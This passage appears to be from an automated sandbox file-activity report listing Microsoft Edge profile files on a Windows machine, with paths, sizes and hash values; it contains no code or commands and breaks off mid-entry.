MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 192B
SHA256 59d475eba5c231591b0f567d0fe6c3c863b4b3acc386f3b0b5ed1e082b991bee
MD5 cc18b5c451e478eb0c992b9d920a9e19
SHA1 b6c42607d336e75a8c645a1ec45e7ffcca51a28e
SHA512 afe4aa1da2aa13b6374a96594d73be027d1c9df72e20e91a61b3032ca5c8288127fbeba45de52f2420b05457dc0ad7e97e6491f083ae75c43cdf6f23c79635ef
MD5 SHA1 SHA512

Submit Download

the-real-index~RFe580b36.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe580b36.TMP
Size 48B
SHA256 94d2af243bd6665c6d1a9868edb4b0bf1b899a5ff94708b0b1dbbc761767e230
MD5 249a7091fa8e94d8abc31701374c8411
SHA1 46a89f6477e649493dead232d306b4ffcb5d1ea9
SHA512 a8fece9fe0b07731c98f683b745ee4175f3455f753097c8c638ccf6baf09e0dc40d7972c53b317009fb6fa4daa541808017a3d8a3f8f09d975bd9dcbed88cc01
MD5 SHA1 SHA512

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log
Size 715B
SHA256 45fae4c8fda23b1c3129e72a0558cea398a11bd3d71060f40b3c8259749b9cff
MD5 a90cf6c1c8671a316a77bcc5a1bf0c8a
SHA1 960038fd44b633703f7f4eac99e7f10f4ab85eac
SHA512 9b6884a91ed8ea435926333f8306613ffbd0e03bb33ee649d2f76714ddf39b5dc60df21966a18a1395b1d60a64fc956788adb6bfaf7d319d52162e68a607550c
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG
Size 322B
SHA256 275aa7a01177ab6d87c3759fc342375cc814c2655692df8e7930fdd36564b140
MD5 d6ef3d8ff90760e19f28ee4944c1e3f5
SHA1 b8db6d425602828f3fb3bfb65d1f4e4895450873
SHA512 91c8501c69f91d59c957d0804ec767b4459f78643ea4ff2a75cf3d5a2f10003dfde726a320b210638fdda81cdbb69f8f550de98d7bf03188a48c4c7a0b3ca593
MD5 SHA1 SHA512

Submit Download

Tabs_13388959243118627

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Tabs_13388959243118627
Size 865B
SHA256 41992b437de07ccc7a9f5e75fa8c116a068bfd01807148c00dfba09bf93336b5
MD5 4b58db710c0f0eb1389761c4fc0919c1
SHA1 fe1439e86f65671dee272de95eec2cb5a40e92c5
SHA512 3bb3b10742c68a73bccacdbcfbb86e0a5b3d66a3f66aa27fbc1e3a678c5c9b0e13172d5119be4533c2b82d586158cbb1a8a702a6487199e1b5ac79b69df62bfc
MD5 SHA1 SHA512

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log
Size 112B
SHA256 274cfa92a13c4dd55b7f3d8d3abe064218af5b0a0d043d7b41806230a34e36d0
MD5 d9320e2be59bdcad93fca07d10a0943a
SHA1 5ea549d7c90d54758f34e773f87169de18ff4535
SHA512 1ea474ecf8c0a08b13edf5017477bcf32bac5df7aff8b5ccb484f274a48b3507913ddb57aa3ac1c7cc450b2277c8b7395f56b3789ddd1c1ba6d28c55c4da5f3a
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Size 347B
SHA256 2b347e5aabe93fb33b779584f402743e3c9562456d6e461ac8d73b420064e32c
MD5 e029213dc95174bc34fa54dfdfd1df0a
SHA1 b701da09c58e3fc56134bde7bdb5e909274128b5
SHA512 da3faeee92a9f18085e7cf3129a9e391a71d912e3d0f1a51fd8356cbe06b52b43be41e9b08a0748e7ec4a18a93d3d581ced2ce7cea7f8e651e727491d3a63614
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Size 323B
SHA256 56dc99753851de48dd8551dd43a5a81a25a4c0b6bde841037d0dbdd55ee0fb4b
MD5 376e7a76aae75f27347c59d5723b9340
SHA1 1d8c8cb92de2da7fc087baf8d98320a3f95dd772
SHA512 399d9f62d684a3960977093bb9d6b9382d279c9d426de3f52e39f88074941df4398ede3270848a172d5540b57e8e2e04542896e2bf4cf7745315d8605e9a8d1b
MD5 SHA1 SHA512

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 de3faaca96c9027724af82480640c0e5e6e7bc22b62b764a833651e3682a35ca
MD5 0800568a9cad961949e45da0a8b5b9a3
SHA1 c80d0465da247630e4206800e372a50c25f45b15
SHA512 f3a8f7e77cf4f88a932137441f79ea7014f13a7bb9720397bcd912dedabd2a758ff69f0657112991f4fd2a5b9a04827073a75114f4c7310c4bfafc3bfecab07a
SSDEEP 192:rD4KD5iSb5T6vzZ5ZEBwzD7Fdr4VojTCtQNwxdbb:tT6vzZ5ZEBwzD7Fdr4Voj2tQNwxdbb
MD5 SHA1 SHA512 SSDEEP

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 22KB
SHA256 2496989d6913695672aaf463a4a6e4cc6e0366b955b617c84a58de9a3455231a
MD5 90bafbfde24ecc5548f90df0c73cb5e0
SHA1 0d8a13007a232e40f510fa81a198bb1e10d6a8f1
SHA512 534c407cb02fa8d2c3a20f5c4957be1851132170251a37a5e9c24b9fff1e2f275ba3a4ea0ebe34f60d2bdf78034eb4e89a8cc8f7c48cc6253d376a3d57f7245b
SSDEEP 96:pcKh6NKVeK9WmKW4Ka+wKAnKnq5KhyKRmAKkaKdiTKqwKdG0KFhCLnR3jHOb8Xff:rD4KD5iSb5T6vzZ5V
MD5 SHA1 SHA512 SSDEEP

Submit Download

Visited Links

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links
Size 128KB
SHA256 54dd07c13fc96582f032916a36965bd053ebfc4051afd207115acb0f9c46fb9a
MD5 1553ea51c44ea5ed99937bfb5f316baf
SHA1 5ff4a08baf749c81527b67093acf976400601766
SHA512 ad15ff876de6a9a9c7984fbe914ea64429049bd1e0fe31cdfbadf286b3c51db0d789def4f2ab1353c7ae4237a4fc5e1126deae4eaed6b209f717f3450ce0930b
SSDEEP 3:ImtV9dBRqEXlultlpN6Wl//cxfQep0KPRyk/vNkOlS2mlXgIv0pw/t:IiV91bXglMxoeeIyk/aNVlVow/t
MD5 SHA1 SHA512 SSDEEP

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 228KB
SHA256 3837c2ebad2d68b5e9906491a52516de9e37ddba245831ce1021cb8e48ec9047
MD5 f9901831915cc19c45f64c64b8929b6c
SHA1 ab21e400c7e8af0df699376f50a006a836759a7d
SHA512 5da3d4c16d330b5bc9252f80fe68f8c5d0b99b0654a2c6adae0c0f1f400ecf8dedb9df3c37066ea8d64e0fda8f15e1124b96b2b639e423e680a9ea852dcb2279
SSDEEP 192:zCNpRfT8aRJQnGqqrgenLfUK3NDivIz6DoNCPaWaVIdssXVydue2g2C0:u3RfQuJQnPqrgWLfUK3hivmY4Cvp68C
MD5 SHA1 SHA512 SSDEEP

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\5\CacheStorage\a130db4c-e5bd-45f0-acff-eeda6584004d\index-dir\the-real-index
Size 1KB
SHA256 6f4fc9ee6a367c3a5a674386ab10f8fa2842d67fa8ed2048ceaf68d56f108546
MD5 f2f8ac1aea4700bf9ed704287c14b95b
SHA1 384ee792ce190415a8c137b89ceed41efa663e4d
SHA512 fa346b829ebd631aa73ab930590bc47f2d1db1db829608c07977e6ca03b0f36f8cae7671596a96faed1075c5fbf30223ef76d5c1ff30e87cee704ac59c33f190
MD5 SHA1 SHA512

Submit Download

the-real-index~RFe5b14dc.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\5\CacheStorage\a130db4c-e5bd-45f0-acff-eeda6584004d\index-dir\the-real-index~RFe5b14dc.TMP
Size 48B
SHA256 40c40e8266ef831ee939aa9b04c5ee4be7e4f645a01bfdbcc5c8eb24d6822138
MD5 fc94eee7bcc7689a5ef3138a0f752d4d
SHA1 c31691dfdf783ed74837277be14e361fec5e21aa
SHA512 3d6f84ec1351c0ea1a5715b0c093610aef60bbf4941999ea9a34c43d3c7568c42bff361c8d9512f9fdf2b96b6c54cd98fa9eff8ee00ea46024be01589036f6c8
MD5 SHA1 SHA512

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\5\CacheStorage\index.txt
Size 198B
SHA256 d1f848e3ba09e3f4d94cd035ad75d05d9802daa52a01b7f647397d3bce793987
MD5 8e867165482fd0ca60f9da9fd4d48169
SHA1 ae7ddf82ee2918bf5b0ba284c986f1ebe58f41e1
SHA512 d5e01c7bc939d17fa7f5852aded944e0b326844a7626a3acf6e1e7c5b6fb52568573dda319117b957fd26537f3cd8f8c3d83e64b49783a1e296546992fd44945
MD5 SHA1 SHA512

Submit Download

index.txt~RFe5b150b.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\5\CacheStorage\index.txt~RFe5b150b.TMP
Size 202B
SHA256 cbf86e6fef9b66fe8762026e3a416421323234fe732fa7d752677c47bed1e694
MD5 71367a739126ef08025167b713b29f2d
SHA1 0d73353eafdd79020374f21b618ae1e90a05571c
SHA512 115dee0777317adceaff9c37897038492d8243136180a85b30f1d4f73cac788e2715571b207caa8d74770d3ee8888e6823be81cfc7b1d4410bc6e54367fb5b94
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\5\IndexedDB\indexeddb.leveldb\MANIFEST-000001
Size 23B
SHA256 720a78803b84cbcc8eb204d5cf8ea6ee2f693be0ab2124ddf2b81455de02a3ed
MD5 3fd11ff447c1ee23538dc4d9724427a3
SHA1 1335e6f71cc4e3cf7025233523b4760f8893e9c9
SHA512 10a3bd3813014eb6f8c2993182e1fa382d745372f8921519e1d25f70d76f08640e84cb8d0b554ccd329a6b4e6de6872328650fefa91f98c3c0cfc204899ee824
MD5 SHA1 SHA512

Submit Download

default_cloud_config.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\default_cloud_config.json
Size 13KB
SHA256 b24f36278e4c85a8fcd66021d48c69d6b07be605673e02f0fe185bf3319f47f4
MD5 cf9a0cd1d5f9c8cdeb87ef3f7d30d15c
SHA1 c543e62aab24c205db6014414161c13375e9a71c
SHA512 39ad5c5753e5398906b94ab039d2eae7fe420fe35a53f190bda84d4f9262f3b14841cdf4ec76cdbff6a4578a26ab1e6c4b11ba326ec8cc38a2e2904a6f2c0d8e
SSDEEP 384:l7BJeojewj9mg16ZyvASrL5QJwTcoEnE0YU/VwTcoEnE0GU5x:l7BJeojewjcg16ZyvASn5FEnE0YREnEE
MD5 SHA1 SHA512 SSDEEP

Submit Download

favorites_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\favorites_diagnostic.log
Size 1KB
SHA256 cb93a4e3daf9711d0f735d0aa452625dcaafcf6c1fd4419315049b3f1b7918e9
MD5 27e54e92a18aeee159427c94d62ff613
SHA1 08153ca7cee67d8e7c018335b12e400ebacaa72c
SHA512 60a777aa77d427e75c7ae1442d68a50c6d95afc669b1161d1195768fbba19db7ff5fbdc31a55ebfaa735f073635e9aa8fcb94995181494a37e5d721d48315c51
MD5 SHA1 SHA512

Submit Download

load_statistics.db

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db
Size 92KB
SHA256 bef30090ec528b3506d153fd264e33abcb7dc37075fe8343a45e8d55f94260c1
MD5 47fd43680d4ec807fcd2380ad40dd63c
SHA1 267e65f4299b901e65ad5e4eb2dbab30800ca81b
SHA512 b6c2531584fccac95b56fe8c97b2f03420117135283d1af1749f8e2f31b18bbb9c7baa08912961569aa0de7b993afaa27c6cfd592f3fc5a91aa9ceac4c9cb3f7
SSDEEP 768:YJ/RplykQIixa78GOyQjslDrgg7xsepzVS2FVCzlrFTk6ClMgfnADSN+PNdTtWgB:kZpQrS3ltyLP
MD5 SHA1 SHA512 SSDEEP

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG
Size 319B
SHA256 a3ea3eb9a15f0f956d954a25586bb3b9c96884a0a3512e967675ea821963ce23
MD5 d911ff58e87e8a3924482fe8225df3ed
SHA1 643b524bc55f52161d37a6c3c579182329ca3c7f
SHA512 51b84ed36949653ce5d8b86826cb3cf45e2fb22c631046e4c84bfdbe9e9ae14c24cb3a3f95a8e81c525cd2b0acc46039be2bd2202fd953cd51a091325732b607
MD5 SHA1 SHA512

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log
Size 1KB
SHA256 d3304d6729ef917bf1a13e611dfc950bec2ced83b3b3638ee118485a4e23bdd7
MD5 7e65948b6f03c76f71c1bf204944b9fb
SHA1 c291420733115b4cb8a549fc538b84039fdcb10f
SHA512 1a40d4c17dbc960285ae934997d4897beca0c233f7c0549145d3e8985ee63d881c3a5f054c91f28377561954a17587d1624ab0633058d6f768afc08bfd2224c0
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG
Size 337B
SHA256 aa35e70a4d6a7b32dd5bcc397d74787c749e4c774248bede11b615c08cb68665
MD5 68d3ed5d3a27cb07cbbf828212d849be
SHA1 6303607badb85231ab00e68b03864a641f7a0b2d
SHA512 0121ceceacd6155206e8c013424897a673f5c4bf2a9ac1b6630d69c27d3bc766b8d02c8f456d37f80330fd65373644da19b5cd4aa12858e2d3a0a28e6f3d83b1
MD5 SHA1 SHA512

Submit Download

CloudConfigLog

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog
Size 20KB
SHA256 75c7fde16becbb57e45a6c75f6aa1841908ec3006b2dd40726be25c75562c3a0
MD5 cc30a84ed203cb2a40257254092d44f1
SHA1 78ea40b447835c52b4ffba750c2ed49b780bb874
SHA512 1aad8cbb6c7955d8260e6c0851664fc7a43b879fdfadacdcfe798473f09f14df81a6e2fca47511922ddbc5db38b39d7a7e51a565c26a0a81fd627b9aaab38922
SSDEEP 384:kXJOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6PQpGMgSVlkFIum1z4tfLTvq/uV:OJOk/FY7/2lagbCtCkQ7wDlH/h+umbAG
MD5 SHA1 SHA512 SSDEEP

Submit Download

CloudConfigLog

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog
Size 469B
SHA256 c492228c5dcd0d019d0a99675f0c50d0a9dd16f30e093563033d81931ef3b0aa
MD5 07eeff12e60f3eee9af51f3ce6af6256
SHA1 80a0f3e0e8280afeac433ca683754d349cae2aeb
SHA512 3964cf082f31b71610c05722f6e536dd34b06518d1eb5bf7f0f897872134eea5429313cef4bdf4a54a2c00254334eb9f546a819381382bf90015d9f7f5138841
MD5 SHA1 SHA512

Submit Download

CloudConfigLog

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog
Size 904B
SHA256 1be69e7250a78cb40eada58b44733376eec1cb4b91eed9c436be12d77bb132ff
MD5 073608e2aa7fe8e223e4e1d8223d123d
SHA1 3473f8372e820a61bdb8baab2d081c141a0515e4
SHA512 eb92f204d2d6bcb8b4641456943e0764d3b3afce724e3030801b035d0aa82fd99f0f3522dcd44ef87a1b628c398ea999ed0724de34ab5b4692bf4f4a7d91b641
MD5 SHA1 SHA512

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 fc80d48a732def35ab6168d8fd957a6f13f3c912d7f9baf960c17249e4a9a1f2
MD5 3f8927c365639daa9b2c270898e3cf9d
SHA1 c8da31c97c56671c910d28010f754319f1d90fa6
SHA512 d75b93f30989428883cb5e76f6125b09f565414cf45d59053527db48c6cf2ac7f54ed9e8f6a713c855cd5d89531145592ef27048cf1c0f63d7434cfb669dbd72
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6PQpGMgSVlkFIum1z4tfLTvq/uL:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAO
MD5 SHA1 SHA512 SSDEEP

Submit Download

edge_checkout_page_validator.js

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.1.37.0\edge_checkout_page_validator.js
Size 1.1MB
SHA256 3bb1b93f917e9d8e76afa18c3f6d88bd7708b26f5142b29b8e977af80e93d8af
MD5 003fe9be736ed918d1fa5738e03dee2a
SHA1 1875f50d89bfa23064db1a7c2d80f97e3f4fa1e3
SHA512 e6af65d2586da8a96014faeb9ce5986aeecb04145f66b32be0d2cf849d6e56c22c179ac8adb9211e7ab7cc41d9d8e0a8f7910210b8adfd810f13f43563c4c5f6
SSDEEP 24576:An4jw96v8+/kie6MBFbBPKkHos4RIB/mGLv/vkQUe+RskiHU2pYeZ0xvgafXl5xi:An4jw960+/kie6MBFbBPKkHos4RIB/mC
MD5 SHA1 SHA512 SSDEEP

Submit Download

buynow_driver.js

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18347.18346.65\buynow_driver.js
Size 2KB
SHA256 87339a1e25ccbbf120f294fd60333e292e1d631e785a9b205ed5beb0128c214f
MD5 412352a121a62092628029e9b30158d8
SHA1 0021445df04bcd60cd83b670ce1863c42f1f4c11
SHA512 ffd266f1161ab996f38a6d0723e2cf96840b500cf2aa360f48b7953d448a5cd3a2fffa666d9be9c89dc4495497d5016f1199e6419a82bdf18fc99b8a8a4eb596
MD5 SHA1 SHA512

Submit Download

wallet-checkout-eligible-sites.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18347.18346.65\json\wallet\wallet-checkout-eligible-sites.json
Size 23KB
SHA256 b962497993e2cd24039474bc84be430f8f6e6ab0f52010e90351dc3ff259336c
MD5 16d41ebc643fd34addf3704a3be1acdd
SHA1 b7fadc8afa56fbf4026b8c176112632c63be58a0
SHA512 8d58aa30613a2376ccc729278d166a9b3ec87eca95544b9dec1ee9300e7dd987326ea42d05dca3f1cc08186685f2fdaf53c24fd2b756c1ed9f2b46436689dc74
SSDEEP 384:rQR5dkrKzmQWgFlhpyZv8CTi8I6kxAvh0mV:reKrMP8d5JIVAvhj
MD5 SHA1 SHA512 SSDEEP

Submit Download

wallet-notification-config.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18347.18346.65\json\wallet\wallet-notification-config.json
Size 804B
SHA256 bb26ce6fe9416918e9f92fcc4a6fe8a641eceea54985356637991cf6d768f9fd
MD5 4cdefd9eb040c2755db20aa8ea5ee8f7
SHA1 f649fcd1c12c26fb90906c4c2ec0a9127af275f4
SHA512 7e23b91eab88c472eec664f7254c5513fc5de78e2e0151b0bcc86c3cd0bf2cb5d8bb0345d27afdd9f8fcb10be96feaa753f09e301fa92b8d76f4300600577209
MD5 SHA1 SHA512

Submit Download

wallet-stable.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18347.18346.65\json\wallet\wallet-stable.json
Size 81KB
SHA256 0e329e63d8457bef61d0986a521f81d747a09dadf3b1136f2011942ba14d9fc0
MD5 05f65948a88bd669597fc3b4e225ecae
SHA1 5397b14065e49ff908c66c51fc09f53fff7caed7
SHA512 ed7b767a741d18c0dd35e0311db752120e0f090d39ef976d541cbc5ae78fa32655cb3f9c27cddef6ca8091ca8bf31513254a748bc8b95353897f6198a667cf58
SSDEEP 768:r7P7XSl9cv2tlNnqSBBoCJkQgXzwb7XARjMLVF2CYgYHFkJ/Eqajvapznp+9Q:L8W27jLgX2ZLSgYHFkJ/EqajvWnAy
MD5 SHA1 SHA512 SSDEEP

Submit Download

wallet-tokenization-config.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18347.18346.65\json\wallet\wallet-tokenization-config.json
Size 34KB
SHA256 0088d5ebd8360ad66bd7bcc80b9754939775d4118cb7605fc1f514c707f0e20d
MD5 ae3bd0f89f8a8cdeb1ea6eea1636cbdd
SHA1 1801bc211e260ba8f8099727ea820ecf636c684a
SHA512 69aff97091813d9d400bb332426c36e6b133a4b571b521e8fb6ad1a2b8124a3c5da8f3a9c52b8840152cf7adbd2ac653102aa2210632aa64b129cf7704d5b4fa
SSDEEP 192:0NOKnK+QXzpTYaDEqIyVZ5mxzrIAfrXKoNKExGI+MmsMR6Q9GMKPrZnfB4FXZ8N:SOKK+QXzpTYaDEq/e5EAfrRoRI+B9wC0
MD5 SHA1 SHA512 SSDEEP

Submit Download

wallet_donation_driver.js

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18347.18346.65\wallet_donation_driver.js
Size 1KB
SHA256 39a63d56be4f1ca950310f385e8a42f7bc2dcc0e49fefff306176182bfa4f0e5
MD5 03abcce3f9828372d9876aa2e6fcdbb0
SHA1 cf5834e1af5f7143e62a29ae0f7ede79178b3574
SHA512 ef9b7decb4cfee3961006ea5c77299a48fe6a667475772f2a78e93bd4f691dc4700f8008138c574898fdcd8d717d84b8b201527ddb5a61346e05d362aeb15701
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_0
Size 44KB
SHA256 e82536ef71aeb96d828126902c76497c5c7daf8262183599dbb751e25b4cb318
MD5 5a67930c8bb7ea0e894512af93992e5e
SHA1 26f47fd7174c29053cc3bec5708fbb0fcba494ab
SHA512 88e3b91595c9d0652464951c3441fd483df5f83d1f758e0341b62703bd280e5593e3fa99376f74a997c005cbc156a11dd30b74b08bf8b70857f04c42bbafea53
SSDEEP 6:/F8K1ikM/lWVuuJt1fWP+Y/aAJlOlEmMtGbj:dxHEauKHfWmYJJ0XEGv
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1
Size 264KB
SHA256 776c30d6855135fadc0bd1cf9fb513fd5bc12e16c7ba82968a681bfdef5d0c05
MD5 1fd4ef6d53b20f205fed0dbaa36913b9
SHA1 2d90b3ddd58940d981464461ff7b265ab986f6d0
SHA512 d4a8bf5e0e30bc232d3f536affe344518ffde8a9b6845ce6a67b61d96aa82145f1f1f12f4a51d9a1d24c1192bcc6d1abd8ffe75a0a95c2052f9ef5bccb4e6b68
SSDEEP 24:GLFBQCzSNxm0BQCzSNIPABQCzSNHXexGYFBQCzSNP:2cwSNxmxwSNeFwSN3exfcwSNP
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_3
Size 4.0MB
SHA256 049b99e419fa58f6b78c481f140e754c9298e00739181cdce46391d95a324a94
MD5 809986381f5390a66272fef587ca8a26
SHA1 4673cbd13bad878e58af5efa81386714a31ce5f5
SHA512 8e23d8b46a5faa3dc2e2778d3e984ab2125ffad94c1e07c61082dda5a094a83a1d81d39b2bfc110e2ded0f5733ce2d82f2609da49ed628223096e8094b4d9b09
SSDEEP 384:QAISURFMSUepIczSwFB5ITUHrqvXCMtBoqIAYnU:QANURFM/epvzJFB56UHrqvCMtBoq1Yn
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_1
Size 264KB
SHA256 094085d879d80d04b39154ba67b4112dea7f7d754e59b5627937e7c68692e6ce
MD5 03e9d53e32785f6c35066f153f53b370
SHA1 02ea5322fde269765abe778582d386669fc040eb
SHA512 e4a8782827c76e473617971946bda725860dfec83a98ac50a5b6a8f6b51e3dbbfaba8e0ac3994a5ee9ffc3f2645dbf49b8be99cf814ae0f2f89ba7ca9387ea6e
SSDEEP 3:MsEllllkEthXllkl2zEflK:/M/xT02zz
MD5 SHA1 SHA512 SSDEEP

Submit Download

Last Browser

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Browser
Size 120B
SHA256 9c70f766d3b84fc2bb298efa37cc9191f28bec336329cc11468cfadbc3b137f4
MD5 a397e5983d4a1619e36143b4d804b870
SHA1 aa135a8cc2469cfd1ef2d7955f027d95be5dfbd4
SHA512 4159ea654152d2810c95648694dd71957c84ea825fcca87b36f7e3282a72b30ef741805c610c5fa847ca186e34bde9c289aaa7b6931c5b257f1d11255cd2a816
MD5 SHA1 SHA512

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 13B
SHA256 01a3e5d854762d8fdd01b235ce536fde31bf9a6be0596c295e3cea9aaf40f3dd
MD5 3e45022839c8def44fd96e24f29a9f4b
SHA1 c798352b5a0860f8edfd5c1589cf6e5842c5c226
SHA512 2888982860091421f89f3d7444cacccb1938ef70fc084d3028d8a29021e6e1d83eaef62108eace2f0d590ed41ece0e443d8b564e9c9a860fc48d766edb1dc3d9
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 56KB
SHA256 9a769cda1e0c43781e0dd1b1e9e09370f227087aeebf7430ae5ab9c17e5e60bd
MD5 020ee36cf39f9bf307a8f19828d4469d
SHA1 6d6d285997faf617fcf55275fe7f6c20d7fc97d9
SHA512 22efb118b92eae57112cce355bdadf72476ee3c5cf4e5a8108107d2cc1086d4c3b22bb88407bc39fa94e40a4a18a4d3d0e29316c16f27e297fde4b612db31313
SSDEEP 768:IBVTXE6esE8lDldUG094HgKPYvQ8ryCt4isi7UvVDb0Hp9jmvDNVOW6a8kKui3Ii:2eB85ds9aPGQm4EyZUW6aUZ3Vq/G
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 56KB
SHA256 f8675e4688303a706cd290a38e763d2f5f071a1fff1e57d2ff868a27dd8ad12c
MD5 0d90bad48c085cd19a30e94d5532b826
SHA1 81c954fdde37f94418d02ce9ebf9ba2ba22cbfe9
SHA512 95ab948a45c0aa4133d11c473a60e34ae8d9e5135815d2cff55b6d777641d3a51bb07a75ccbbae961251df038b07867039b6cb2f6479bc447f5896497e1b3676
SSDEEP 768:IBVTdE6esE8lDldUGjv4HgKqbQ8ryCt4isi7UvVDb0Hp9jmvDNVOW6a8kKui3Iy5:geB85drvawQm4EyZUW6aUZ3Vq/G
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 50KB
SHA256 25d2b112ad823816dd5a0e339307e73ca4fa31f3692e4ebe256900c56a8b6622
MD5 cdd080d82f0886d29f33beb1cc0b717d
SHA1 70ed0d358105ec2239bd6ecfc6bc8881d0200e8c
SHA512 3becc6224a4948855e74e839afeb737cc65db8361d0dc33e6c830ac8bac4c793ee78fbd8168f471b696cd83a0d54d30ad6f170510bebd4212e37958690088d74
SSDEEP 768:IuTPE6esE8lDldUG8/HgWvrQ4ryC24kLitvVDbjHp9jmvDNVOW6a8kKui3IyIdax:heB85dUdjQf4dyZUW6aUZ3Vq/G
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 55KB
SHA256 31b7f90c3b97de58e71e59b4e0f93b4c633acf1af0caa2cd9ebaf1e5d4551ad9
MD5 d92f5102a2935042827bac4ff3a14ca3
SHA1 be75cbd4593ba77188ee6e6994d97ae4f636a39c
SHA512 194ae818688088a5161ea9fbe564c028dcd4ed75278713d39902b4b85e36a198aa13998508712654e31fb551f1b9ba7d8531af3ea148e421506ebcd920a70973
SSDEEP 768:IBVTPE6esE8lDldUGt/HgKTXQ4ryC24kLitvVDb0Hp9jmvDNVOW6a8kKui3IyIdO:seB85dVPzQf4QyZUW6aUZ3Vq/G
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 55KB
SHA256 17af2fbde5ba5ec580420b2374b6942d8908ba308fb956c1ea72de33e7cae715
MD5 3bb4c16d3c6f3067166d91ff06d85ea3
SHA1 b1c10cab0349577a68e4a37652cbe3ee7e68c396
SHA512 a9df6a0c1a361905e93e0bd9c24ac6a81fcf46ba3053f8ae6227323c274d4a0cf257445dd609eab2a2800b3381eaeb674eeac4b92df5ea3b3ba6a839121e803b
SSDEEP 768:IBVT2E6esE8lDldUGAX4HgK8rQ8ryCt4isitvVDb0Hp9jmvDNVOW6a8kKui3IyII:teB85d4XaeQm4dyZUW6aUZ3Vq/G
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 56KB
SHA256 47e37e1231d6e0a2ff2079ff20b43622b28becf2e26c9d7dee0b322d98613479
MD5 fa9d268a7854f6aa0e3084ea68f60492
